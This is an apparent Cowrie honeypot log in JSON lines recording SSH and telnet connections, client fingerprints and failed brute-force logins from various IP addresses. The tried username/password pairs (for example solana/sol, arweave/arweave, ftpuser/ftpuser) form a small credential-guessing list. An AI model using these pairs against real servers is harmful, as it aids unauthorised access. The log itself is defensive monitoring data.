{"eventid":"cowrie.login.failed","username":"solana","password":"sol","message":"login attempt [solana/sol] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T16:03:08.474206Z","src_ip":"2.57.122.96","session":"394ddc581791","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T16:03:09.580970Z","src_ip":"2.57.122.96","session":"394ddc581791","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.122.189","src_port":12876,"dst_ip":"10.17.0.5","dst_port":22,"session":"f69c199a388a","protocol":"ssh","message":"New connection: 2.57.122.189:12876 (10.17.0.5:22) [session: f69c199a388a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T16:03:31.840440Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-PUTTY","message":"Remote SSH version: SSH-2.0-PUTTY","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T16:03:31.844813Z","src_ip":"2.57.122.189","session":"f69c199a388a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"5bd26477da5440a6187bd3f1b39a429c","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","rsa-sha2-512-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","ssh-rsa","ssh-rsa-cert-v01@openssh.com"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 5bd26477da5440a6187bd3f1b39a429c","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T16:03:31.949538Z","src_ip":"2.57.122.189","session":"f69c199a388a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.6","message":"Connection lost after 0.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T16:03:32.397571Z","src_ip":"2.57.122.189","session":"f69c199a388a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"92.118.39.76","src_port":47820,"dst_ip":"10.17.0.5","dst_port":22,"session":"75c639563566","protocol":"ssh","message":"New connection: 92.118.39.76:47820 (10.17.0.5:22) [session: 75c639563566]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T16:03:56.002469Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T16:03:56.005961Z","src_ip":"92.118.39.76","session":"75c639563566","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T16:03:56.104583Z","src_ip":"92.118.39.76","session":"75c639563566","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"solv","password":"solv","message":"login attempt [solv/solv] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T16:03:56.402419Z","src_ip":"92.118.39.76","session":"75c639563566","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T16:03:57.504600Z","src_ip":"92.118.39.76","session":"75c639563566","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"92.118.39.95","src_port":54726,"dst_ip":"159.203.135.109","dst_port":22,"session":"8dd0e154a443","protocol":"ssh","message":"New connection: 92.118.39.95:54726 (159.203.135.109:22) [session: 8dd0e154a443]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T16:04:38.639308Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T16:04:38.643658Z","src_ip":"92.118.39.95","session":"8dd0e154a443","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T16:04:38.747025Z","src_ip":"92.118.39.95","session":"8dd0e154a443","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"jito","password":"proxy","message":"login attempt [jito/proxy] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T16:04:39.095171Z","src_ip":"92.118.39.95","session":"8dd0e154a443","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T16:04:40.204918Z","src_ip":"92.118.39.95","session":"8dd0e154a443","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"64.227.144.233","src_port":36470,"dst_ip":"159.203.135.109","dst_port":22,"session":"75c4c350131b","protocol":"ssh","message":"New connection: 64.227.144.233:36470 (159.203.135.109:22) [session: 75c4c350131b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T16:04:41.410095Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.1_DEV","message":"Remote SSH version: SSH-2.0-libssh2_1.11.1_DEV","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T16:04:41.413751Z","src_ip":"64.227.144.233","session":"75c4c350131b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"57e4cc8ee36c3d78f75c6a05acd55963","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","rsa-sha2-512-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","ssh-rsa","ssh-rsa-cert-v01@openssh.com"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 57e4cc8ee36c3d78f75c6a05acd55963","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T16:04:41.647037Z","src_ip":"64.227.144.233","session":"75c4c350131b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ngc","password":"ngc2018","message":"login attempt [ngc/ngc2018] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T16:04:42.109637Z","src_ip":"64.227.144.233","session":"75c4c350131b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T16:04:43.341626Z","src_ip":"64.227.144.233","session":"75c4c350131b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"18.97.26.100","src_port":41150,"dst_ip":"10.17.0.5","dst_port":23,"session":"2493d5f6ac89","protocol":"telnet","message":"New connection: 18.97.26.100:41150 (10.17.0.5:23) [session: 2493d5f6ac89]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T16:04:50.313183Z"}
{"eventid":"cowrie.session.closed","duration":5.002455949783325,"message":"Connection lost after 5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T16:04:55.315511Z","src_ip":"18.97.26.100","session":"2493d5f6ac89","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"83.166.50.15","src_port":44231,"dst_ip":"10.17.0.5","dst_port":22,"session":"702bddc1eac6","protocol":"ssh","message":"New connection: 83.166.50.15:44231 (10.17.0.5:22) [session: 702bddc1eac6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T16:04:56.269833Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH_7.4","message":"Remote SSH version: SSH-2.0-OpenSSH_7.4","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T16:04:56.635871Z","src_ip":"83.166.50.15","session":"702bddc1eac6","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"acaa53e0a7d7ac7d1255103f37901306","hasshAlgorithms":"diffie-hellman-group1-sha1,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,curve25519-sha256,curve25519-sha256@libssh.org,ext-info-c;des,3des,blowfish,none,3des-cbc,blowfish-cbc,cast128-cbc,arcfour,arcfour128,arcfour256,aes128-cbc,aes192-cbc,aes256-cbc,rijndael-cbc@lysator.liu.se,aes128-ctr,aes192-ctr,aes256-ctr,aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-512,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-md5-96-etm@openssh.com,hmac-ripemd160-etm@openssh.com,umac-64-etm@openssh.com,umac-128-etm@openssh.com;none,zlib@openssh.com,zlib","kexAlgs":["diffie-hellman-group1-sha1","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","curve25519-sha256","curve25519-sha256@libssh.org","ext-info-c"],"keyAlgs":["ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss","ssh-dss-cert-v01@openssh.com"],"encCS":["des","3des","blowfish","none","3des-cbc","blowfish-cbc","cast128-cbc","arcfour","arcfour128","arcfour256","aes128-cbc","aes192-cbc","aes256-cbc","rijndael-cbc@lysator.liu.se","aes128-ctr","aes192-ctr","aes256-ctr","aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-512","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com","umac-64@openssh.com","umac-128@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha1-96-etm@openssh.com","hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-md5-etm@openssh.com","hmac-md5-96-etm@openssh.com","hmac-ripemd160-etm@openssh.com","umac-64-etm@openssh.com","umac-128-etm@openssh.com"],"compCS":["none","zlib@openssh.com","zlib"],"langCS":[""],"message":"SSH client hassh fingerprint: acaa53e0a7d7ac7d1255103f37901306","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T16:04:56.644096Z","src_ip":"83.166.50.15","session":"702bddc1eac6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.148.10.121","src_port":38248,"dst_ip":"159.203.135.109","dst_port":22,"session":"2004e452cf26","protocol":"ssh","message":"New connection: 45.148.10.121:38248 (159.203.135.109:22) [session: 2004e452cf26]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T16:04:57.244627Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T16:04:57.247682Z","src_ip":"45.148.10.121","session":"2004e452cf26","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"bf7dbf67fa9b26ee9f9deb99c49320ba","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,3des-cbc,arcfour256,arcfour128,arcfour;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256","rsa-sha2-512","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","ssh-dss","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","3des-cbc","arcfour256","arcfour128","arcfour"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: bf7dbf67fa9b26ee9f9deb99c49320ba","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T16:04:57.326868Z","src_ip":"45.148.10.121","session":"2004e452cf26","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"user","message":"login attempt [user/user] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T16:04:57.565744Z","src_ip":"45.148.10.121","session":"2004e452cf26","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ftpuser","password":"ftpuser","message":"login attempt [ftpuser/ftpuser] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T16:04:57.613702Z","src_ip":"83.166.50.15","session":"702bddc1eac6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T16:04:58.692394Z","src_ip":"45.148.10.121","session":"2004e452cf26","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.7","message":"Connection lost after 2.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T16:04:58.978005Z","src_ip":"83.166.50.15","session":"702bddc1eac6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"190.216.132.13","src_port":21102,"dst_ip":"159.203.135.109","dst_port":23,"session":"2489a273e122","protocol":"telnet","message":"New connection: 190.216.132.13:21102 (159.203.135.109:23) [session: 2489a273e122]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T16:05:02.748864Z"}
{"eventid":"cowrie.session.connect","src_ip":"159.65.30.211","src_port":46604,"dst_ip":"159.203.135.109","dst_port":22,"session":"7b900dbbfe02","protocol":"ssh","message":"New connection: 159.65.30.211:46604 (159.203.135.109:22) [session: 7b900dbbfe02]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T16:05:11.626763Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.1_DEV","message":"Remote SSH version: SSH-2.0-libssh2_1.11.1_DEV","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T16:05:11.631378Z","src_ip":"159.65.30.211","session":"7b900dbbfe02","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"57e4cc8ee36c3d78f75c6a05acd55963","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","rsa-sha2-512-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","ssh-rsa","ssh-rsa-cert-v01@openssh.com"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 57e4cc8ee36c3d78f75c6a05acd55963","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T16:05:11.706345Z","src_ip":"159.65.30.211","session":"7b900dbbfe02","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"arweave","password":"arweave","message":"login attempt [arweave/arweave] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T16:05:11.858073Z","src_ip":"159.65.30.211","session":"7b900dbbfe02","protocol":"ssh"}
